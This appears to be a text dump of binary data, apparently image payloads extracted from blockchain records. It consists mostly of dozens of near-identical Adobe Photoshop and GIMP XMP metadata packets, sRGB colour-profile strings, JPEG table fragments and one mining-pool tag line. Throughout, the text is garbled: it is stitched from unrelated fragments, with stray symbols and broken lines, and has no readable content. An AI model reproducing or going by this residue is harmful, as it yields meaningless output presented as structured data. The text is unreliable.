a42561d" xmpMM:OriginalDocumentID="xmp.did:18ec588a-d6b6-4280-9100-1d21a7926c0c" GIMP:API="2.0" GIMP:Platform="Mac OS" GIMP:TimeStamp="1676298772068713" GIMP:Version="2.10.32" dc:Format="image/jpeg" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:13T09:32:46-05:00" xmp:ModifyDate="2023:02:13T09:32:46-05:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:e4630dce-2677-471d-999a-bd948bf0b630" stEvt:softwareAgent="Gimp 2.10 (Mac OS)" stEvt:when="2023-02-13T09:M
32:52-05:00"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                   M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                      <?xpacket end="w"?>
Copyright Apple Inc., 2017
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:510E3AF1A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:510E3AF2A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:510E3AEFA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:510E3AF0A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:7A6E9E42A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:7A6E9E43A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:78DCC0FDA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:78DCC0FEA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:858712DAA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:858712DBA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:858712D8A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:858712D9A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Z`
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:6B11B87FA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:6B11B880A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6B11B87DA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:6B11B87EA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>a
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:9AC0C7A3A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:9AC0C7A4A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9AC0C7A1A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:9AC0C7A2A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>{
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:8CD310EFA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:8CD310F0A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8CD310EDA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:8CD310EEA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:7BEC582BA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:7BEC582CA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7BEC5829A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:7BEC582AA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
c/Foundry USA Pool #dropgold/
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:586556AEA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:586556AFA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:586556ACA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:586556ADA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:5FA8EDB5A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:5FA8EDB6A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5FA8EDB3A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:5FA8EDB4A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>L
Adobe Photoshop 22.1 (Windows)
cropWhenPrintingbool
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c005 79.164590, 2020/12/09-11:57:44        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="httM
p://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop 22.1 (Windows)" xmp:CreateDate="2023-02-11T13:48:59+04:00" xmp:MetadataDate="2023-02-11T13:48:59+04:00" xmp:ModifyDate="2023-02-11T13:48:59+04:00" xmpMM:InstanceID="xmp.iid:cdcdb8e1-0d4c-0b41-8ab1-098890dd0a13" xmpMM:DocumentID="adobe:docid:photoshop:100M
5f76b-c61d-604c-a7b1-15c12c617a77" xmpMM:OriginalDocumentID="xmp.did:382b4d14-c375-db46-881d-133ca47001be" dc:format="image/jpeg" photoshop:ColorMode="3"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:382b4d14-c375-db46-881d-133ca47001be" stEvt:when="2023-02-11T13:48:59+04:00" stEvt:softwareAgent="Adobe Photoshop 22.1 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:cdcdb8e1-0d4c-0b41-8ab1-098890dd0a13" stEvt:when="2023-02-11T13:48:59+04:00" stEvt:softwareAgenM
t="Adobe Photoshop 22.1 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                           M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                              <?xpacket end="w"?>
%!'&$!$#).;2),8,#$3F48=?BCB(1HMH@M;AB?
?*$*??????????????????????????????????????????????????
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:510E3AF5A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:510E3AF6A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:510E3AF3A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:510E3AF4A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>O:
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:66E960C4A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:66E960C5A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:66E960C2A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:66E960C3A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:5B813CF6A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:5C8913D0A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5B813CF4A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:5B813CF5A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:73578E4FA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:73578E50A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:73578E4DA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:73578E4EA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:3250550FA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:32505510A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3250550DA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:3250550EA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:27151BDBA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:27151BDCA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:27151BD9A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:27151BDAA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:37E56983A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:37E56984A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:37E56981A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:37E56982A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>'75
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:61392A7AA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:61392A7BA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:61392A78A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:61392A79A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:5428DCEDA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:5428DCEEA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5428DCEBA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:5428DCECA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:289928B4A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:289928B5A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:289928B2A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:289928B3A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>P
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:74D8594EA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:74D8594FA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:74D8594CA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:74D8594DA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>(
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:858712D6A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:858712D7A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:858712D4A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:858712D5A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:66E960C8A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:67F5981AA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:66E960C6A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:66E960C7A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>_
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:27151BDFA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:27151BE0A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:27151BDDA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:27151BDEA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:82F9C5CEA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:82F9C5CFA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:82F9C5CCA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:82F9C5CDA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
"!&+7/&)4)!"0A149;>>>%.DIC<H7=>;
;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
